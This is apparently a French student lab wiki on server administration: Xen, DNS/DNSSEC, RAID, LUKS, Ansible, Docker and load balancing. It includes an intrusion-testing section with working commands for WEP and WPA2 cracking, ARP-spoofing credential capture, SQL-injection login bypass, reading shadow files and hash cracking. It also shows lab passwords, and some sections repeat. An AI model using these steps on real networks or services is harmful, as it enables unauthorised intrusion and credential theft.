root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb
www IN AAAA 2001:660:4401:60b2:216:3eff:fec4:6abb

Dans /etc/bind/name.conf.options

options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer";};
};

acl "allowed_to_transfer" {
217.70.177.40/32;
};

Sur gandi.net nous lions ns1.amanite.site à 193.48.57.184 grâce à l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.
ns1.amanite.site
ns6.gandi.net

Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :
host -t any ns1.amanite.site localhost
host -t any ns1.amanite.site

ou se servir de nslookup.

===Sécurisation de site web par certificat===

Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.
Cette ligne de commande nous permet de lancer la procédure de création :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr

Country Name (2 letter code) [AU]:FR
State or Province Name (full name) [Some-State]:France
Locality Name (eg, city) []:Lille
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech
Organizational Unit Name (eg, section) []:IMA
Common Name (e.g. server FQDN or YOUR name) []:amanite.site
Email Address []:admin@amanite.site

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:glopglop
An optional company name []:

Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name "amanite.site".
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.

===Sécurisation de serveur DNS par DNSSEC===

Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis.
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.

Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :
dnssec-enable yes

Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site
Puis la clef asymétrique de la zone pour signer les enregistrements :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site

Nous renommons les deux paires de clefs obtenues pour plus de lisibilité :
amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private

Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :
$include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key
$include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key

Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed

Nous signons les enregistrements de la zone avec la commande :
dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk

Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :
zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db.signed";
allow-transfer{217.70.177.40;};
};

L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)

Finalement nous relançons bind :
service bind9 restart

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site

[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]

==Tests d'intrusion==

===Cassage de clef WEP d’un point d’accès WiFi===

*Liste des commandes :
** Lister les interfaces WiFi disponibles : airmong-ng
** Passage d'une interface en mode moniteur : airmong-ng start <Interface>
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep <Interface>
** Capture des paquets émis par le point d'accés cible : airodump-ng --write <nomFichierSortie> --channel 3 -bssid <@mac_AP> <nomInterface>
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x <nomFichierSortie>-01.cap

Notre première étape consiste à passer notre interface en mode moniteur.
Nous utilisons donc la commande : airmong-ng

Ce qui nous retourne le nom de notre interface, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface :
airodump-ng --encrypt wep wlan0mon

Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande :
airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon

Nous pouvons "stimuler" le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) :
'''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

'''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon

Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande :
aircrack-ng -z data.cap

Nous obtenons alors :
KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ]
Decrypted correctly: 100%

===Cassage de mot de passe WPA2-PSK par force brute===

Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.

Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas :
wlan0mon

Nous démarrons cette interface en mode moniteur avec la commande :
airmong-ng start wlan0mon

Par la suite nous affichons l'ensemble des réseaux capter par notre interface :
airodump-ng wlan0mon

Nous repérons le réseau "Kracotte05" qui possède le BSSID suivant "00:14:1B:60:8C:24"

Nous pouvons lancer dès lors la commande :
airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon

Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arrêter la capture.
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :
crunch 8 8 0123456789 > dico.txt
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.

Pour cracker le mot de passe, nous avons utilisé hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé. (Merci Paul pour ta carte graphique à 4 chiffres)

La commande est la suivante :
crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Le mot de passe pour la kracotte05 est le suivant : 10244444

===Attaque de type "homme au milieu" par usurpation ARP===

Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :
apt-get install dsniff

La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 > /proc/sys/net/ipv4/ip_forward

Nous pouvons afficher la table arp de la machine pirate avec la commande :
arp -a
Grâce à cette table nous identifions deux adresses IP :

172.26.145.254
-> Adresse IP du routeur

172.26.145.60
-> Adresse IP de la machine victime

Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.

Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :
arpspoof -i eth0 -t 172.26.145.254 172.26.145.60
arpspoof -i eth0 -t 172.26.145.60 172.26.145.254

La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.

En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparente.

La machine victime va maintenant se connecter sur un serveur web HTTP.

En lançant wireshark sur la machine attaquante nous observons les paquets suivants :
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]

Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.

===Intrusion sur un serveur d’application Web===

Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :

nmap -A -T4 honey.plil.info

[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]

Nous voyons que le serveur héberge deux services :
Un service de connexion ssh, inutilisable sans login et mot de passe
Un service web.

Nous essayons donc de commencer par attaquer le site web honey.plil.info

Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.
Les requêtes SQL de connexions sont souvent de la forme :
Select … From … Where login = « username » AND password = « password ».
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc nous utilisons la condition vraie sur les deux champs. De ce fait la base de données sera « perdue » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous indiquant qu'il est impossible de se connecter à tout ces comptes en même temps.

[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]

Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :
- La première permet d’uploader un fichier qui est stocké sur le pc du server
- La deuxième permet de lire ce fichier.

Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.

Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.

dirb -r honey.plil.info

[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]

Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.

Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme "glopglop" et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.

==Réalisations==

===Sécurisation de données===

Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :

lvcreate -L1G -n amanite-raid1 storage
lvcreate -L1G -n amanite-raid2 storage
lvcreate -L1G -n amanite-raid3 storage

Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg
disk = [
'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',
'phy:/dev/storage/RingotSanchez1,xvda3,w',
'phy:/dev/storage/RingotSanchez2,xvda4,w',
'phy:/dev/storage/amanite-raid1,xvda5,w',
'phy:/dev/storage/amanite-raid2,xvda6,w',
'phy:/dev/storage/amanite-raid3,xvda7,w'
]

Puis nous redémarrons notre VM.
xl destroy amanite
xl create /etc/xen/amanite.cfg

Après avoir relancer notre VM, nous installons le paquet mdadm.

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

Nous formatons notre volume RAID.

mkfs.ext4 /dev/md0

Et nous rajoutons la ligne suivante dans /etc/fstab :

/dev/md0 /raid5 ext4 defaults 0 2

Nous pouvons avoir des détails notre volume grâce à la commande :
mdadm --detail /dev/md0

Pour finir, nous montons et peuplons notre volume RAID.
mount /dev/md0 /mnt
touch coucou.txt

A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.

Nous déclarons un de nos disques comme étant en défaillance :

mdadm --set-faulty /dev/md0 /dev/xvda7

Puis nous l'enlevons de notre volume RAID :
mdadm --remove /dev/xvda7

Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.

Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :
mdadm --manage /dev/md0 --add /dev/xvda7

===Chiffrement de données===

Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.

Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.

cryptsetup luksFormat /dev/sdb
cryptsetup luksOpen /dev/sdb crypt_sdb

Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.

mkfs.ext4 /dev/mapper/crypt_sdb

Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.

mount /dev/mapper/crypt_sdb /mnt

Puis nous y ajoutons un fichier.

touch /mnt/test.txt

Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.

umount /mnt
cryptsetup luksClose crypt_sdb

Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présents. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.

===Inspection ARP par un élément réseau===

Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.

===Sécurisation WiFi par WPA2-EAP===

== TP ASR ==

=== Architecture de la ferme ===

Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.

Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface.

vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ]

Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.184
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.24/24
up ip route add default via 100.64.0.2 src 193.48.57.184
down ip address del dev eth0 100.64.0.24/24
down ip route del default via 100.64.0.2 src 193.48.57.184

# The secondary network interface
auto eth1
iface eth1 inet static
address 192.168.42.19
netmask 255.255.255.0

Nous avons mis en place notre propre mascarade avec les commandes suivantes :
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24
iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24
iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder à des "apt install" et ne plus être considéré comme des hackeur russes malveillants.

Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier "/etc/sysctl.conf" pour activer l'ip forwarding pour les paquets IPV4.

A la fin de cette partie nous sommes capables de ping les machines entre elles.

Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :
# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.42.5/24
gateway 192.168.42.19

Nous avons également modifié notre fichier /etc/resolv.conf :
domain plil.info
search plil.info plil.fr
nameserver 192.168.42.19

Nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur Chassiron est capable de ping google.

'''Clés SSH'''

Génération d’une paire de clef asymétrique :
ssh-keygen -t rsa

Ces clés sont stocké coté capbreton dans le dossier /.ssh

Par la suite nous installons la clef publique sur nos cibles (les machines sur Chassiron) :
cat .ssh/id_rsa.pub | ssh 192.168.42.5 "cat >> /root/.ssh/authorized_keys2"
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement

'''Installation d'Ansible'''

Installation via la commande :
apt install ansible

L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :
[webserver]
192.168.42.5

[webservers]
192.168.42.5
192.168.42.2
192.168.42.4
192.168.42.7
192.168.42.9
192.168.42.12

Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible :
ansible webserver -a "lsb_release -d"

L'étape suivant consiste à tester ansible.
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- ntp
- python3
- python3-pip

- name: docker
pip:
name: docker

- name: maj ntp
copy:
src: "/etc/ntp.conf"
dest: "/etc/ntp.conf"
owner: root
group: root
mode: '0644'

- name: maj motd
copy:
src: "/etc/motd"
dest: "/etc/motd"
owner: root
group: root
mode: '0644'

Ce rôle s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de Capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de Chassiron via la commande ssh root@192.168.42.5

=== Installation de docker ===

Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :

- name: package to be installed
apt:
update_cache: yes
name: "{ { packages } }"
vars:
packages:
- python3
- python3-pip

Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).

Nous avons ensuite créé notre playbook pour déployer nos commandes :

- hosts: webserver
roles:
- basic
- geerlingguy.docker
vars:
docker_apt_gpg_key: "https://download.docker.com/linux/debian/gpg"
docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }"

=== Création de notre conteneur ===

Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :

FROM httpd:2.4
COPY . /usr/local/apache2/htdocs/
CMD ["httpd", "-D", "FOREGROUND"]

Nous avons ensuite créé l'image du Dockerfile :
docker build -t web .

Puis nous avons lancé notre container
docker run -d -p "8085:80" --name web web

Plusieurs commandes nous permettent de vérifier le bon fonctionnement :
docker images (Affichage des différentes images docker installées)
docker ps -a (Affichage des différents containeurs en cours d'exécution)

Nous avons pu vérifier le bon fonctionnement de celui-ci grâce à la commande suivante :
curl 193.48.57.184:8085

Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :
- name: Setup registry
docker_container:
name: registry
image: registry
ports:
- "5000:5000"

Après cela nous avons voulu push notre image "web" vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier "/etc/docker/" afin de ne pas utiliser une connexion sécurisée.

{
"insecure-registries" : ["192.168.42.5:5000"]
}

Une fois ce fichier modifié nous avons pu utiliser les commandes :
docker tag web 192.168.42.5:5000/webserver
docker push 192.168.42.5:5000/webserver

Puis coté chassiron :
docker pull 192.168.42.5:5000/webserver

=== Configuration de nos serveurs internes ===

Pour pouvoir déployer nos containeurs sur tous les serveurs disponibles sur Chassiron nous avons d'abord créé notre rôle "new_container" :

- name: Create a container
docker_container:
name: amanite_container
image: 192.168.42.5:5000/webserver_amanite
ports:
- "8085:80"

Ce rôle permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machines qui sont dans l'hote webservers.
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).

Puis nous avons déployé notre container grâce à notre playbook :

- hosts: webservers
roles:
- new_container

=== Equilibreur de charge ===

Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :

a2enmod proxy
a2enmod proxy_http
a2enmod proxy_balancer
a2enmod lbmethod_byrequests

Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :
reverse IN CNAME www
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zone pour DNSSEC ainsi que redémarrer le service bind9).

Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :
<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
ProxyPass / http://192.168.42.5:8085
ProxyPassReverse / http://192.168.42.5:8085
</VirtualHost>

Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).

Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :

<VirtualHost *:80>
ServerName reverse.amanite.site
ServerAdmin lolopierro
<Proxy "balancer://mycluster">
BalancerMember "http://192.168.42.5:8085" route=1
BalancerMember "http://192.168.42.2:8085" route=2
BalancerMember "http://192.168.42.4:8085" route=3
BalancerMember "http://192.168.42.7:8085" route=4
BalancerMember "http://192.168.42.9:8085" route=5
BalancerMember "http://192.168.42.12:8085" route=6
ProxySet lbmethod=byrequests
</Proxy>
ProxyPass / balancer://mycluster/
ProxyPassReverse / balancer://mycluster/
</VirtualHost>

Pour vérifier notre loadbalancing nous avons modifié notre page index.html, puis nous avons build notre nouvelle image docker contenant cette page html, nous l'avons push sur le registry et pull depuis notre machine amanite sur Chassiron. Nous avons ensuite relancé notre playbook nous permettant de déployer cette image sur toutes les machines secondaires virtuelles, mais seule notre machine amanite (car nous avons pull sur cette machine) et les machines n'ayant pas eu le déploiement avant ont été actualisé. Cela nous permet de bien vérifier notre loadbalancing.

Une deuxième méthode pour vérifier celui-ci est l'ajout du module status sur apache :

a2enmod status

Puis nous avons modifié notre fichier de configuration reverse.conf en y ajoutant les lignes suivantes :

<Location "/server-status">
SetHanlder server-status
Order Allow,Deny
Allow from all
</Location>

Malheureusement nous n'arrivons pas à accéder à la page reverse.amanite.site/server-status malgré les différentes recherches effectuées.

TP sysres IMA5sc 2020/2021 G5

2020-12-20T15:13:11Z

Psanchez : /* Equilibreur de charge */

{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 5
| amanite.site
| Debian 10 Buster
| 305
| 100.64.0.24
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.184
|}

==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==

Connexion ssh :

ssh pifou@capbreton.plil.info

Création de la VM Xen :

> su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)

> xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster

Résultat de la commande :
General Information
--------------------
Hostname : amanite
Distribution : buster
Mirror : http://deb.debian.org/debian
Partitions : swap 512M (swap)
/ 4G (ext4)
Image type : sparse
Memory size : 256M
Kernel path : /boot/vmlinuz-4.19.0-9-amd64
Initrd path : /boot/initrd.img-4.19.0-9-amd64

Networking Information
----------------------
IP Address 1 : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]
Netmask : 255.255.255.0
Gateway : 100.64.0.5

===Configuration des LV===

Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :

root@capbreton:~# mkfs.ext4 /dev/storage/amanite1
root@capbreton:~# mkfs.ext4 /dev/storage/amanite2

Nous avons par la suite modifié le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :

Dans la fonction Disk Device(s) :
disk = [
...
'phy:/dev/storage/RingotSanchez1,xvdav3,w'
'phy:/dev/storage/RingotSanchez2,xvdav4,w'
]

Puis dans Networking :
vif = [ 'bridge=IMA5sc, ...']

===Création et configuration de la machine virtuelle===

Lorsque nous nous sommes connectés en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg

*Commandes utiles
** Affichage de l'ensemble des VM présente sur capbreton : xl list
** Se connecter à la VM : xen console amanite
Identifiant de la machine : root
Mdp de la machine : pasglop

'''Suite de la configuration'''

Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4 à l'aide des commandes :
root@amanite:~# mkfs.ext4 /dev/xvda3
root@amanite:~# mkfs.ext4 /dev/xvda4

Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :

root@amanite:~# mount /dev/xvda3 /mnt/xvda3
root@amanite:~# mount /dev/xvda4 /mnt/xvda4

Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :

root@amanite:~# mv /var/* /mnt/xvda4.

Puis nous démontons (umount) nos deux volumes.

Nous modifions ensuite /ect/fstab en ajoutant :
/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

Puis nous les montons à l'aide de la commande :
mount -a
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvda1 202:1 0 512M 0 disk [SWAP]
xvda2 202:2 0 4G 0 disk /
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

==Service Internet==

===Serveur SSH===

Installation d'un serveur ssh, accessible grâce à la commande :
ssh root@amanite.site
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)

===Serveur DNS===

Nous avons commencé par louer un nom de domaine sur gandi.net :
amanite.site
Nous avons ensuite installé le package bind9.

Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :

Dans /etc/bind/named.conf.local :

zone "amanite.site" IN {
type master;
file "/etc/bind/zones/amanite.site.db";
allow-transfer{217.70.177.40;};
};

Dans /etc/bind/zones/amanite.site.db :

;BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.amanite.site. postmaster.amanite.site. (
6 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.amanite.site.
@ IN NS ns6.gandi.net.
@ IN MX 42 ns1
ns1 IN A 193.48.57.184
www IN A 193.48.57.184
